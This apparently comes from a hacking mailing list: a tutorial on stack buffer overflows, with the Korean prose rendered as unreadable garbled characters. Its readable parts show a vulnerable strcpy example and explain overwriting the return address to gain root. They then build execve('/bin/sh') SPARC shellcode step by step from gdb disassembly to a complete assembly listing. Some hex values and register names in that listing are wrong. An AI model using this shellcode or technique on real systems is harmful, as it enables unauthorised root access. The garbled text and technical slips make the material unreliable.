......ooooooo0000000000 now-hack mailing list 0000000000ooooooo...... ¿äÁò ¸¹Àº ºÐµéÀÌ buffer overflow¿¡ ´ëÇØ Áú¹®À» ÇϽôµ¥¿©...±×·¡¼­ ÀÌ bof(buffer overflow)¿¡ ´ëÇØ °­Á¸¦ ÇÒ±î ÇÕ´Ï´Ù. 1. buffer overflow? - ÀÌ bof´Â ÁöÁ¤µÈ ¸Þ¸ð¸® ¿µ¿ªÀ» ¹þ¾î³²À¸·Î¼­ ÀϾ´Â ¹ö±×ÀÔ´Ï´Ù. bof¿¡µµ ¿©·¯ °¡Áö Á¾·ù°¡ Àִµ¥ stack overflow¿Í heap overflowµîÀÌ ÀÖ½À´Ï´Ù. ÀÌ bof¸¸Å­ ½ÇÀç ÇØÅ·¿¡¼­ ¸¹ÀÌ ¾²ÀÌ´Â °Í¶ÇÇÑ ¾øÀ»°ÍÀÔ´Ï´Ù. ½ÉÁö¿¡´Â cgi¿¡¼­µµ ÀÌ bof¸¦ »ç¿ëÇÕ´Ï´Ù. ±×¸®°í ¸î ³âµ¿¾È °è¼Ó ¹ß°ßµÇ´Â ÀÌ ¹ö±×´Â ¾ÕÀ¸·Îµµ ¹«±Ã¹«ÁøÇÏ°Ô ³ª¿Ã°ÍÀÔ´Ï´Ù. ÇÁ·Î±×·¡¸Ó°¡ Á¶±Ý¸¸ ½Å°æÀ» ¾È½áµµ ±Ý¹æ »ý±â´Â ¾ÆÁÖ ±Í¿©¿î(^^) ¹ö±×°Åµç¿©. ±×¸®°í ÀÌ ¹ö±×´Â ¸®´ª½º Ä¿³ÎÀ» ¾Æ¿¹ ¹Ù²ÙÁö ¾Ê´Â ÀÌ»ó °íÃÄÁú¼ö ¾ø´Ù°í »ý°¢ÇÕ´Ï´Ù. ´ëºñÃ¥ÀÌ ¸¹ÀÌ ³ª¿À±ä ÇßÁö¸¸¿©... ±×°Í¶ÇÇÑ ¾à°£ÀÇ Æ®¸¯À¸·Î Åë°úÇÒ ¼ö°¡ Àְŵ翩... À̹ø °­Á´¿© 1. buffer overflow 2. stack overflow 3. heap overflow 4. ½ÇÁ¦ ÃÖ±Ù buffer overflow¸¦ ÀÌ¿ëÇؼ­ root±ÇÇÑÀ» ȹµæ 5. ÀÌ ¹ö±×¸¦ ¿©·¯ºÐµéÀÌ Ã£¾Æº¸¼¼¿©! ÀÌ·¸°Ô ÁغñÇß½À´Ï´Ù. 2. stack overflow - ÀÌ sof ´Â ÀâÀº ¸Þ¸ð¸® ¿µ¿ªÀÌ ³ÑħÀ¸·Î¼­ »ý±â´Â ¹ö±×ÀÔ´Ï´Ù. ¿¹¸¦ µé¾îº¸ÁÒ void over(char *str){ char buffer[20]; strcpy(buffer,str); } main() { int i; char large[50]; for( i=0;i<49;i++){ large[i]='a' } over(large); } c¾ð¾î¸¦ Á¶±ÝÀÌ¶óµµ °øºÎÇϽźÐÀº(°ÅºÁ¿© Àú¹ø °­Á¶§ °øºÎÇÏ¶ó±¸ ÇßÁÒ?) ¹®Á¦°¡ ÀÖ´Â ¼Ò½º´Ù! ÇÏ´Â °ÍÀ» ±Ý¹æ ´«Ä¡Ã¤¼ÌÀ» °Ì´Ï´Ù. 50¿¡ a°¡ °¡µæÂ÷ ÀÖÁÒ. ±×°ÍÀ» ´õ ÀÛÀº 20À̶ó´Â Å©±âÀÇ ¸Þ¸ð¸®¿¡ Áý¾î³ÖÀ¸·Á´Ï ¸Þ¸ð¸®°¡ ³ÑÃļ­ ¿¡·¯°¡ ³ª´Â°ÍÀÌÁÒ. segmentation falt ¶ó°í ³¯²®´Ï´Ù. ÀÚ ±×·¸´Ù¸é ÀÌ°ÍÀ» ÀÌ¿ëÇؼ­ ¾î¶»°Ô root±ÇÇÑÀ» ȹµæÇϳª? ±×°ÍÀº ¹Ù·Î return address¶ó´Â °ÍÀ» ÀÌ¿ëÇؼ­ ÇÕ´Ï´Ù. À§ÀÇ ¼Ò½º¸¦ ¿¹·Î µé¾î ¸Þ¸ð¸® ±¸Á¶¸¦ ±×¸®ÀÚ¸é [buffer][sfp][ret][*str] ÀÌ·¸°Ô µË´Ï´Ù. ¹Ù·Î stack À̶õ ¿¹±âÁÒ... ³ªÁß¿¡ µé¾î¿Â °ÍÀÌ ¸ÕÀú ³ª°£´Ù´Â ÀǹÌÀÇ stack!! ¿©±â¼­ ¸ðµÎ ¾ËÇÊ¿ä´Â ¾ø°í 3¹ø°ÀÇ retÀ̶ó´Â °ÍÀÌ Áß¿äÇѵ¥¿©...return address¿¡ ´ëÇØ ¼³¸íÇÏÁÒ. * ret!! - c¾ð¾î¿¡¼­ ÇÁ·Î±×·¡¹ÖÀ» Çغ¸½ÅºÐÀº ÇÔ¼ö¸¦ È£ÃâÇÏ´Â °ÍÀ» ¸¹ÀÌ Çغ¸¼ÌÀ»°ÍÀÔ´Ï´Ù. ±×·±µ¥ ÇÔ¼ö¸¦ È£ÃâÇß´Ù°¡ ´Ù½Ã ¿ø·¡(±âº»ÀûÀ¸·Î main()ÇÔ¼ö)ÇÔ¼ö·Î µ¹¾Æ¿À´Â °ÍÀ» ¾Æ½Ç ±×·¸´Ù¸é ¾î¶»°Ô ´Ù½Ã ¿ø·¡ÀÇ ÇÔ¼ö·Î µ¹¾Æ¿À³ª? ÀÌ°ÍÀº ¹Ù·Î retÀ̶ó´Â Æ÷ÀÎÅÍ ¿µ¿ª¿¡ ¿ø·¡ ÇÔ¼öÀÇ ÁÖ¼Ò°ªÀ» ³ÖÀ¸¸é¼­ °¡´ÉÇØ Áö´Â°ÍÀÔ´Ï´Ù. ±×·¯´Ï±î ÀüüÀûÀ¸·Î óÀ½ÀÇ ÇÔ¼ö mainÇÔ¼ö¿¡¼­ ´Ù¸¥ ÇÔ¼ö°¡ callµÇ¾îÁö°í ´Ù½Ã retµÇ¾î Áö´Â °ÍÀÌÁÒ. ÀÌÇØ µÇ½ÃÁÒ? ÀÌ·¡µµ ¾ÈµÇ¸é ¹Ù~º¸^^ ±×·³ ´Ù½Ã µ¹¾Æ¿Í¼­ [buffer][sfp][ret][*str] ÀÌ°ÍÀÌ Àß ÀÌÇØ°¡ ¾È°¡½Ç²¯ °°¾Æ¼­¿©... (1) [*str] ¸ÕÀú ÇÔ¼ö¸¦ ºÎ¸¦ ¶§ char *str ·Î ºÒ·¶ÁÒ? ±×·¡¼­ Àú°ÍÀÌ ¸Ç µÚ·Î °¬±¸¿©...stack À̶õ °ÍÀÌ Â÷°îÂ÷°î ½×¿©Áø´Ù´Â °ÍÀÔ´Ï´Ù. ±×·¯´Ï±î ¿ì¸®°¡ º¼¶§´Â µÚ¿¡¼­ºÎÅÍ ºÁ¾ß°ÚÁÒ? (2) [ret] ¿ø·¡ÀÇ ÇÔ¼ö(¿©±â¼­´Â mainÇÔ¼ö) ÀÇ ÁÖ¼Ò°ªÀÌ ÀúÀåµÇ¾îÀÖ½À´Ï´Ù. ¹Ø¿¡ º¸¸é ¾Æ½Ã°Ú Áö¸¸ Á¤È®È÷ ¸»ÇÏÀÚ¸é mainÀÇ sfp°¡ ÀúÀåµÇ¾î ÀÖ´Ù°í ºÁ¾ß °ÚÁÒ. (3) [sfp] (Stack Frame Pointer) ÀÌ ·¹Áö½ºÅÍ´Â ½ºÅÿ¡¼­ ÇöÀçÀÇ À§Ä¡¸¦ ³ªÅ¸³»´Â ·¹Áö½ºÅÍÀÔ´Ï´Ù. ¿©±â¼­´Â call À̳ª intµîÀÇ ¸í·É¿¡ »ç¿ëµÇ´Â ȸ±Í ÁÖ¼Ò°ªÀ» ÀúÀåÇÕ´Ï´Ù. (4) [buffer] ¿ì¸®°¡ ÁöÁ¤ÇØÁØ 20Â¥¸® ¸Þ¸ð¸®ÀÔ´Ï´Ù. 16bit¿¡¼­´Â char 1°³¿¡ 2byte´Ï±î ÃÑ 40byte°¡ µÇ°ÚÁÒ!! ÀÚ! ÀÌÁ¦ Á¤È®È÷ ÀÌÇØ µÇ½ÃÁÒ. ¿©±â¼­ °¨ÀÌ ÆÅ! ¿À½Ã´Â ºÐÀÌ ÀÖÀ¸½Ç °ÍÀ¸·Î Àü ¹Ï½À´Ï´Ù. ÀÌÁ¦ ÀÌ°ÍÀ» ¾Ë¾ÒÀ¸´Ï ½ÇÁúÀûÀÎ ÇØÅ·¿¡ µé¾î°¡¾ß°ÚÁÒ... ¸ÕÀú bufferÀ» ²Ë ä¿ó´Ï´Ù. ±×´ÙÀ½ ¼ÐÄڵ带 ä¿ì°í ret¿¡ ¼ÐÄÚµåÀÇ ¸Ç ¾ÕºÎºÐ ÁÖ¼Ò¸¦ ³Ö¾îÁÖ¸é µÇ´Â°ÍÀÌÁÒ. ¸¸¾à ¸Þ¸ð¸®°¡ (1)¹ø°¬ÀÌ ÀÖ´Ù¸é (2)¹ø°°ÀÌ ¸¸µé¾î¼­ ³Ö¾îÁִ°ÍÀÌÁÒ (1) [buffer ][sfp ][ret ] (2) [shellcode][0000000][¼ÐÄÚµåÀÇ adress] ÀÚ °¨ÀÌ ¿À½ÃÁÒ. ¿©±â¼­ ÇÑ°¡Áö ¼ÐÄÚµå¶õ ¹«¾ùÀΰ¡? *¼ÐÄÚµå - /bin/sh ¶õ ±ÛÀÚ¸¦ execlÇÔ¼ö¿¡ ³ÖÀº °ÍÀ» ±â°è¾î·Î ¸¸µç°ÍÀÔ´Ï´Ù. ÀÌÇØ°¡ ¾ÈµÇ½Å´Ù±¸ ¿©? À̺κÐÀº ¿ö³« ¹æ´ëÇϱ⠶§¹®¿¡ ´Ù¸¥ »ç¶÷ÀÇ °­Á¸¦ ÀοëÇÏ°Ú½À´Ï´Ù. ------------------------------------------------------------ÀοëµÈ ºÎºÐ---- #include main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } À§ ÇÁ·Î±×·¥Àº "/bin/sh"À» ½ÇÇà½ÃÅ°´Â ÇÁ·Î±×·¥ÀÌ´Ù. À§ ÇÁ·Î±×·¥À» ½ÇÇàÇغ¸¸é ´ÙÀ½°ú °°Àº °á°ú¸¦ ¾ò´Â´Ù. % gcc -static -g sh.c -o shass % shass $ ±×·¸´Ù¸é À§ ÇÁ·Î±×·¥ÀÇ ¾î¼Àºí¸® Äڵ带 À§¿¡¼­ À̾߱âÇÑ shell code°¡ µé¾î°¥ ºÎºÐ¿¡ ³Ö´Â´Ù¸é shellÀ» ¶ç¿ï ¼ö ÀÖ°Ô µÇ´Â °ÍÀÌ´Ù. ÀÌÁ¦ À§ ÇÁ·Î±×·¥ÀÇ ¾î¼Àºí¸® Äڵ带 È®ÀÎÇغ¸ÀÚ. arirang:/home/seoro/work/overflow-basics%gdb shass (gdb) disassemble main Dump of assembler code for function main: 0x10150
: save %sp, -120, %sp 0x10154 : sethi %hi(0x10000), %o1 0x10158 : or %o1, 0x3b8, %o0 0x1015c : st %o0, [ %fp + -24 ] 0x10160 : clr [ %fp + -20 ] 0x10164 : add %fp, -24, %o1 0x10168 : ld [ %fp + -24 ], %o0 0x1016c : clr %o2 0x10170 : call 0x1024c 0x10174 : nop 0x10178 : ret 0x1017c : restore End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: 0x1024c : mov 0x3b, %g1 0x10250 : ta 8 0x10254 : bcc 0x10268 <_mutex_lock> 0x10258 : sethi %hi(0x10000), %o5 0x1025c : or %o5, 0x278, %o5 ! 0x10278 <_cerror> 0x10260 : jmp %o5 0x10264 : nop End of assembler dump. (gdb) % À§¿¡¼­ ÄÄÆÄÀÏ ÇÒ ´ç½Ã -staticÀ̶ó´Â ¿É¼ÇÀ» ÁÖ¾ú´Âµ¥, ÀÌ°ÍÀ» ÁÖÁö ¾ÊÀ¸¸é ÇÔ²² linkµÇ´Â execve¿¡ °üÇÑ Á¤º¸¸¦ ¾òÀ» ¼ö ¾ø´Ù. execveÀÇ ¾î¼Àºí¸® Äڵ带 º¸±â À§Çؼ­, -static ¿É¼ÇÀ» ÁÖ¾ú´Ù. À§ ÇÁ·Î±×·¥Àº sparc ¾î¼Àºí¸® ÄÚµå·Î ¾î¼Àºí¸®¸¦ Àß ¸ð¸£´Â »ç¶÷µéÀ» À§Çؼ­ ÇÑ line¾¿ ¼³¸íÀ» ÇÏ°Ú´Ù. 0x10150
: save %sp, -120, %sp ÀÌ°ÍÀº stack frameÀ» Àâ¾ÆÁÖ´Â ºÎºÐÀÌ´Ù. ÀÌ ÇÁ·Î±×·¥ÀÇ main¿¡¼­´Â 120byteÀÇ stackÀ» Àâ¾ÆÁÖ°í ÀÖ´Ù. 0x10154 : sethi %hi(0x10000), %o1 sethi¸í·ÉÀº ÁÖ¼Ò¸¦ ÁöÁ¤ÇÒ ¶§ ÁÖ·Î ¾²ÀÌ´Â ¸í·ÉÀε¥, Àüä 32bitÀÇ ³»¿ëÁß¿¡¼­ »óÀ§ 22bit¸¦ ÁöÁ¤ÇÑ´Ù. À§¸í·É¿¡ ÀÇÇؼ­ %o1À̶ó´Â ·¹Áö½ºÅÍ¿¡ 0x00010000À̶ó´Â °ªÀÌ ÀúÀåµÇ¾ú´Ù. sethi¸í·ÉÀ¸·Î´Â »óÀ§ 22bit¹Û¿¡ ÁöÁ¤À» ÇÒ ¼ö ¾ø±â ¶§¹®¿¡ ¹Ù·Î ´ÙÀ½¿¡ or ¸í·ÉÀ¸·Î Ãß°¡ÇÏ´Â °ÍÀÌ º¸ÅëÀÌ´Ù. 0x10158 : or %o1, 0x3b8, %o0 or¸í·ÉÀº ±×´ë·Î OR¿¬»êÀ» ÇÏ´Â ¸í·ÉÀÌ´Ù. sparc asembly ü°è¿¡¼­ ¼¼ ÀÎÀÚ¸¦ °¡Áö¸é ù¹ø°, µÎ¹ø° ÀÎÀÚ´Â °è»êµÇ´Â °ªÀÌ µÇ°í, ¸¶Áö¸· ÀÎÀÚ¿¡ ÀúÀåÇÏ´Â ÇüŸ¦ °®´Â´Ù. À§ÀÇ ¿¬»êÀº sethi·Î 22bitÀ» ¹Þ¾Æ³õÀº %o1·¹Áö½ºÅÍÀÇ °ª¿¡ 0x3b8ÀÇ °ªÀ» ´õÇؼ­ %o0¶ó´Â ·¹Áö½ºÅÍ¿¡ °ªÀ» ÀúÀåÇÏ°í ÀÖ´Ù. °á±¹, %o0·¹Áö½ºÅÍ¿¡ µé¾î°¡´Â °ªÀº 0x10000 + 0x3b8 = 0x103b8À̶ó´Â °ªÀÌ µÈ´Ù. 0x1015c : st %o0, [ %fp + -24 ] st ¸í·ÉÀº ·¹Áö½ºÅÍ¿¡ ÀÖ´Â °ªÀ» ¾î¶² Àå¼Ò¿¡ ÀúÀåÇØÁÖ´Â ¸í·ÉÀ¸·Î %o0¿¡ ÀÖ´Â °ªÀ» fp(frame pointer)·Î ºÎÅÍ 24¸¸Å­ ¶³¾îÁø Àå¼Ò¿¡ ÀúÀåÇ϶ó´Â °ÍÀÌ´Ù. 0x10160 : clr [ %fp + -20 ] clr´Â 0À¸·Î ¸®¼ÂÇÏ´Â ¸í·ÉÀ¸·Î fp·Î ºÎÅÍ 20¶³¾îÁø °÷À» 0·Î ¸¸µé¾ú´Ù. 0x10164 : add %fp, -24, %o1 ÀÌ ¸í·ÉÀº À§¿¡¼­ ¸»ÇÑ ¼¼ÀÎÀÚ Ã¼°è·Î fp°ª¿¡ 24¸¦ »«°ÍÀ» %o1¿¡ ÀúÀåÇÏ¿´´Ù. 0x10168 : ld [ %fp + -24 ], %o0 ¾Æ±î fp-24ÀÇ ¸Þ¸ð¸® À§Ä¡¿¡ ³Ö¾îµÎ¾ú´ø 0x103b8À̶ó´Â °ª ÀÚü¸¦ %o0¿¡ ·ÎµùÇÏ´Â ¸í·ÉÀÌ´Ù. 0x1016c : clr %o2 %o2·¹Áö½ºÅÍ´Â 0À¸·Î ¸®¼ÂµÇ¾ú´Ù. 0x10170 : call 0x1024c ¿©±â¿¡¼­ µåµð¾î execveÇÔ¼ö¸¦ callÇÑ´Ù. ¿©±â¿¡¼­ ÀÚ¼¼È÷ º¸¾Æ µÎ¾î¾ß ÇÏ´Â °ÍÀÌ ÀÖ´Ù. ±×°ÍÀº execveÇÔ¼ö¸¦ È£ÃâÇÒ ¶§ ÀÎÀÚ¸¦ ³Ñ°ÜÁÖ´Â ¹æ¹ýÀÌ´Ù. ¿ø·¡ÀÇ C ÇÁ·Î±×·¥¿¡¼­ execve°¡ ¾î¶»°Ô È£ÃâµÇ¾ú´ÂÁö ¸ÕÀú »ìÆ캸ÀÚ. execve(name[0], name, NULL); ¸ÕÀú "/bin/sh"À̶ó´Â ½ºÆ®¸µÀÌ µé¾îÀÖ´Â ºÎºÐÀ» óÀ½¿¡ ÁöÁ¤ÇØ ÁÖ°í, ÀÌ nameÀ̶ó´Â Àüü ¹è¿­ÀÇ ¾îµå·¹½º¸¦ µÎ¹ø°·Î, ¸¶Áö¸·Àº NULLÀ» ÁöÁ¤Çß´Ù. ÀÌ°ÍÀ» À§ ¾î¼Àºí¸® ÄÚµå¿Í ºñ±³Çغ¸¸é Àç¹ÌÀÖ´Â »ç½ÇÀ» ¾Ë ¼ö ÀÖ´Ù. %o0°¡ ù¹ø° ÀÎÀÚÀÇ °ªÀ» °¡Áö°í ÀÖ°í, %o1ÀÌ µÎ¹ø° ÀÎÀÚ¸¦, %o2°¡ ¼¼¹ø° ÀÎÀÚ¸¦ °¡Áö°í ÀÖ´Ù. ±×·¸°Ô ÇÏ°í ³ª¼­ execve¸¦ callÇÏ¿´´Ù. ±×·¯¸é ÀÌÁ¦ execve code¸¦ »ìÆ캸ÀÚ. 0x1024c : mov 0x3b, %g1 0x10250 : ta 8 ÀÌ ºÎºÐÀÌ ¹Ù·Î execveÀÇ Á¤Ã¼ÀÌ´Ù. %g1·¹Áö½ºÅÍ¿¡ 0x3b¶ó´Â °ªÀ» ¹èÁ¤ÇÏ°í, ta 8·Î ¸¶Ä¡ x86°è¿­¿¡¼­ÀÇ int(ÀÎÅÍ·´Æ®)¸í·Éó·³ ÀÌ ¼­ºñ½º ·çƾÀ» ºÎ¸£°Ô µÈ´Ù. ¹°·Ð °¢ ÀÎÀÚ´Â %o0, %o1, %o2¼¼°÷¿¡ µé¾îÀÖ´Ù. ±×·¯¸é ½ÇÁ¦·Î ¿ì¸®°¡ ÇÊ¿äÇÑ ºÎºÐÀ» µû·Î »©³»¾î »ìÆ캼 ¼ö ÀÖ´Ù. sethi %hi(0x10000), %o1 or %o1, 0x3b8, %o0 st %o0, [ %fp + -24 ] clr [ %fp + -20 ] add %fp, -24, %o1 ld [ %fp + -24 ], %o0 clr %o2 mov 0x3b, %g1 ta 8 ´Ü Áß¿äÇÑ °ÍÀº 0x103b8ÀÇ À§Ä¡¿¡ "/bin/sh"À̶ó´Â stringÀÌ ÀÖ´Ù´Â »ç½ÇÀÌ´Ù. ÀǽÉÀÌ °¡¸é Çѹø È®ÀÎÇغ¸ÀÚ. (gdb) x/bx 0x103b8 0x103b8 <_lib_version+8>: 0x2f (gdb) 0x103b9 <_lib_version+9>: 0x62 (gdb) 0x103ba <_lib_version+10>: 0x69 (gdb) 0x103bb <_lib_version+11>: 0x6e (gdb) 0x103bc <_lib_version+12>: 0x2f (gdb) 0x103bd <_lib_version+13>: 0x73 (gdb) 0x103be <_lib_version+14>: 0x68 (gdb) 0x103bf <_lib_version+15>: 0x00 (gdb) 0x2f´Â Ascii·Î '/'¿Í ÀÏÄ¡ÇÏ°í, 0x62´Â Ascii·Î b¿Í ÀÏÄ¡ÇÑ´Ù. ÀÌ·± ½ÄÀ¸·Î match¸¦ Çغ¸¸é "/bin/sh\0"·Î Á¤È®È÷ ¸Â¾Æ¶³¾îÁüÀ» ¾Ë ¼ö ÀÖ´Ù. ±×·¯¸é ÀÌÁ¦ °í¹Î °Å¸®°¡ »ý±ä´Ù. ¾î¶»°Ô "/bin/sh"À̶ó´Â stringÀ» ÁöÁ¤ÇÒ ¼ö ÀÖ´À³Ä´Â °ÍÀÌ´Ù. address¸¦ ÁöÁ¤ÇÏ´Â ¹æ¹ýÀº sethi/orµîÀÇ ¸í·ÉÀε¥, ¿ì¸®°¡ ³ÖÀ» ÀÌ shell code´Â ¼öÇàÁß ¾î´ÀÀ§Ä¡¿¡ µé¾î°¥Áö°¡ °¡º¯ÀûÀ̱⠶§¹®ÀÌ´Ù. ÀÌÁ¦ Æí¹ý(?)À» ½á¼­ ÀÌ°ÍÀ» °¡´ÉÇÏ°Ô Çغ¸ÀÚ. 8. »ó´ëÀûÀÎ À§Ä¡¿¡¼­µµ µ¿ÀÛÀÌ °¡´ÉÇϵµ·Ï ÇÑ´Ù. ¾ÕÀý ±îÁö ´Ù·é °ÍÀº overflow½ÃŲ °÷À¸·Î shellÀ» ¶ç¿ì´Â ÇÁ·Î±×·¥À» ³Ö´Â ¹æ½Ä(!)Àε¥, ÄÚµå ÀÚü°¡ »ó´ëÀûÀÎ À§Ä¡¸¦ °®´Â´Ù´Â Á¡¿¡¼­ ¹®Á¦Á¡ÀÌ ÀÖ¾ú´Ù. "/bin/sh"À̶ó´Â ¾î¶² ½ºÆ®¸µ ÀÚü¸¦ Æ÷ÀÎÆà ÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀÌ ÇÊ¿äÇѵ¥, ÀÌ°ÍÀ» ¾îµå·¹½ÌÇÒ ¹æ¹ýÀÌ ¾ø´Ù´Â °ÍÀÌ Å« ¹®Á¦ÀÌ´Ù. ¾îÂ¥ÇÇ overflowµÇ´Â °÷¿¡ µé¾î°¡´Â °ÍÀº ¿ì¸®°¡ ¸¸µç seed ÇÁ·Î±×·¥ ¹Û¿¡ ¾ø´Ù°í »ý°¢ÇÒ ¶§ seed¾È¿¡¼­ ó¸®ÇÒ ¼ö ¹Û¿¡ ¾ø´Â °ÍÀº ´ç¿¬ÇÑ ÀÏÀÌ´Ù. ÀÌÁ¦ ·¹Áö½ºÅ͸¦ ÀÌ¿ëÇÏ¿©, ÀÌ /bin/shÀ̶ó´Â °ÍÀ» Áý¾î³ÖÀº °Í¿¡ ´ëÇؼ­ »ý°¢ÇØ º¸±â·Î ÇÏ°Ú´Ù. ¾î¶»°Ôµç /bin/shÀ» ¸Þ¸ð¸® »ó¿¡ ¸ÅÇÎÀ» ÇØÁÖ¾î¾ß ÇϹǷÎ, ¾²ÀÌÁö ¾Ê´Â ·¹Áö½ºÅÍ¿¡ ÀÌ °ªÀ» ÀúÀåÇÏ´Â ¹æ¹ýÀ» ÅÃÇÑ´Ù. ÇÑ ·¹Áö½ºÅÍ ³»¿¡ µé¾î°¡´Â Å©±â´Â Á¤È®È÷ 4 byteÀ̹ǷÎ, /bin/shÀ» "/bin"°ú "/sh\0"·Î ÂÉ°µ´Ù. À̰͵éÀ» ¾²Áö ¾Ê´Â ·¹Áö½ºÅÍ %l6°ú %l7¿¡ ÀúÀåÇÏ´Â ¸í·ÉÀ» »ý°¢ÇÏ¸é ´ÙÀ½°ú °°´Ù. ¾îÂ¥ÇÇ ÇѲ¨¹ø¿¡ 4byte¸¦ ·¹Áö½ºÅÍ¿¡ ³Ö´Â ¹æ¹ýÀÌ ¾ø¾î¼­, sethi¿Í orÀ» °â¿ëÇÑ »ç½ÇÀ» ±â¾ïÇÒ °ÍÀÌ´Ù. sethi´Â »óÀ§ 22bit¸¦ ä¿ì´Â ±â´ÉÀ» ´ã´çÇÏ°í ÀÖ´Ù. ±×·¸´Ù¸é ¿ì¸®°¡ ³Ö°íÀÚ ÇÏ´Â ½ºÆ®¸µ ÀÚüµµ 22bit¿Í ³ª¸ÓÁö 10bit·Î ÂÉ°³´Â ÀÛ¾÷À» Çؾ߸¸ ÇÑ´Ù. "/bin" Àº 16Áø¼ö·Î 0x2f 62 f9 6eÀÌ´Ù. ÀÌ°ÍÀ» »óÀ§ 22bit¿Í ÇÏÀ§ 10bit·Î ÂÉ°³¸é 0x2f626800°ú 0x16e·Î ³ª´¶´Ù. "/sh\0"À» 16Áø¼ö·Î ³ªÅ¸³»¸é 0x2f 73 68 00 À¸·Î Á¤ÇØÁö´Âµ¥, ÀÌ°ÍÀ» »óÀ§¿Í ÇÏÀ§·Î ³ª´©¸é 0x2f736800 °ú 0x000À¸·Î ÂÉ°³Áø´Ù. ÀÚ ±×·¯¸é ÀÌµé °ªÀ» ·¹Áö½ºÅÍ¿¡ ÀúÀåÇÏ·Á¸é ´ÙÀ½°ú °°ÀÌ ÇÏ¸é µÈ´Ù. sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 or %l7, 0x000, %17 À§ÀÇ µÎÁÙÀº %16¿¡ "/bin"À̶ó´Â ½ºÆ®¸µÀ» ±â¾ï½ÃŲ °ÍÀÌ°í, ¾Æ·¡ µÎÁÙÀº %l7¿¡ "/sh\0"À̶ó´Â ½ºÆ®¸µÀ» ³ÖÀº °ÍÀÌ´Ù. »óÀ§ 22bit´Â sethi¸¦ ÀÌ¿ëÇÏ¿´°í, ÇÏÀ§ 10bit´Â orÀ» ÀÌ¿ë ÀÌÀü¿¡ sethi·Î Àâ¾Æ ³õÀº °Í¿¡ ³ª¸ÓÁö¸¦ ºÙÀÎ °ÍÀÌ´Ù. ÀÌÁ¦ ¾Õ¿¡¼­ execve(name[1], name, NULL); À» ÇÒ ¶§ÀÇ »óȲÀ» ±â¾ïÇØ¾ß ÇÑ´Ù. ù¹ø° ÀÎÀÚ´Â "/bin/sh"ÀÌ µé¾îÀÖ´Â À§Ä¡¸¦ °¡¸®Å°°í, µÎ¹ø° ÀÎÀÚ´Â ÀÌ°ÍÀ» °¡¸®Å² ³ðÀ» ¶Ç ´Ù½Ã °¡¸®Å°´Â °ÍÀ̸ç, ¼¼¹ø° ÀÎÀÚ´Â ±×³É 0·Î µÇ¾î ÀÖ¾ú´Ù. ¿ì¸®´Â ÀÏ´Ü »ó´ëÀû À§Ä¡ »ó¿¡¼­ ¿ì¸®°¡ ¾Ë°í ÀÖ´Â ÁÖ¼Ò°¡ sp, fp»ÓÀ̹ǷÎ, sp¸¦ "/bin/sh" ½ºÆ®¸µÀÌ µé¾î°¡´Â À§Ä¡·Î Á¤ÇÑ´Ù. ±×¸®°í, sp¿¡ ÀÌµé ½ºÆ®¸µÀÌ µé¾î ÀÖÀ¸¹Ç·Î, sp À§Ä¡ ÀÚü¸¦ ¶ÇÇÑ ¸Þ¸ð¸®¿¡ ¸ÅÇÎÇØ¾ß Çϴµ¥, ÀÌ À§Ä¡´Â "/bin/sh"½ºÆ®¸µÀÌ ³¡³ª´Â ¹Ù·Î ´ÙÀ½ À§Ä¡·Î Á¤ÇÑ´Ù. ±×·¯¸é ÀÌ À§Ä¡´Â sp + 8ÀÌ µÈ´Ù. ±×·¯¸é À̵é ÀÛ¾÷À» ÇÏ´Â ¾î¼Àºí¸® ·çƾÀ» »ý°¢ÇÏ¸é ´ÙÀ½°ú °°´Ù. and %sp, %sp, %o0 %o0´Â ½ÇÁ¦·Î "/bin/sh"ÀÌ ÀÖ´Â À§Ä¡¸¦ Âï¾î³õ°Ô µÇ¹Ç·Î, sp¸¦ Àâ¾Æ ³õ´Â´Ù. %sp¿Í %sp¸¦ °öÇÏ¸é ´Ù½Ã %sp°¡ µÇ¹Ç·Î, %o0¿¡´Â %sp°ªÀÌ µé¾î°£´Ù. add %sp, 8, %o1 %o1Àº %sp¿¡¼­ Á¤È®È÷ 8 byteµÚ¸¦ Âï¾î³õ´Â´Ù. ÀÌ À§Ä¡¿¡´Â ³ªÁß¿¡ "/bin/sh"ÀÌ ÀÖ´Â °÷À» ´Ù½Ã Ç¥ÇöÇÏ°Ô µÈ´Ù. xor %o2, %o2, %o2 %o2´Â ¼¼¹ø° ÀÎÀÚ·Î 0ÀÌ µé¾î°¡¾ß ÇϹǷÎ, xor¸¦ ÀÌ¿ëÇؼ­ 0·Î Àâ´Â´Ù. add %sp, 0x10, %sp %sp¸¦ ÇöÀç À§Ä¡¿¡¼­ Á¤È®È÷ 16¸¸Å­ ¾ÕÀ¸·Î À̵¿ÇÑ´Ù. std %l6, [ %sp + -16 ] std´Â ´õºí ¿öµå¸¸Å­À» ÀúÀåÇϸ鼭, %l6¿¡¼­ %l7±îÁö¸¦ %sp¿¡¼­ µÚ·Î 16ºÎºÐ(Àü¹øÀÇ spÀ§Ä¡)¿¡ ÀúÀå½ÃŲ´Ù. ÀÌ ¸í·ÉÀ¸·Î ÀÌÀüÀÇ %spÀ§Ä¡¿¡ "/bin/sh"ÀÌ µé¾î°£´Ù. st %sp, [ %sp + -8 ] ÇöÀçÀÇ %sp°ªÀ» %o1ÀÌ °¡¸®Å² ÀÚ¸®¿¡ ³Ö´Â´Ù. clr [ %sp + -4 ] ±× µÚÀÇ ºÎºÐÀ» 0À¸·Î Ŭ¸®¾î ½ÃŲ´Ù. ÀÌÁ¦ À§ÀÇ ÇÁ·Î±×·¥À¸·Î, %o0, %o1, %o2¿¡ ¾Ë¸ÂÀº °ªÀ» ³Ö¾îÁÖ°í, ¼º°øÀûÀ¸·Î "/bin/sh"ÀÇ À§Ä¡¸¦ %o0ÀÌ °¡¸®Å°µµ·Ï À¯µµÇß´Ù. ÀÌÁ¦ ³ª¸ÓÁö ½ÇÁ¦·Î ½Ã½ºÅÛ ¼­ºñ½º¸¦ ¹Þ´Â ºÎºÐ±îÁö Ãß°¡ÇÏ¸é ´ÙÀ½°ú °°ÀÌ ¸¸µé¾î Áø´Ù. sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 or %l7, 0x000, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 0x10, %sp std %l6, [ %sp + -16 ] st %sp, [ %sp + -8 ] clr [ %sp + -4 ] mov 0x3b, %g1 ta 8 ÀÚ 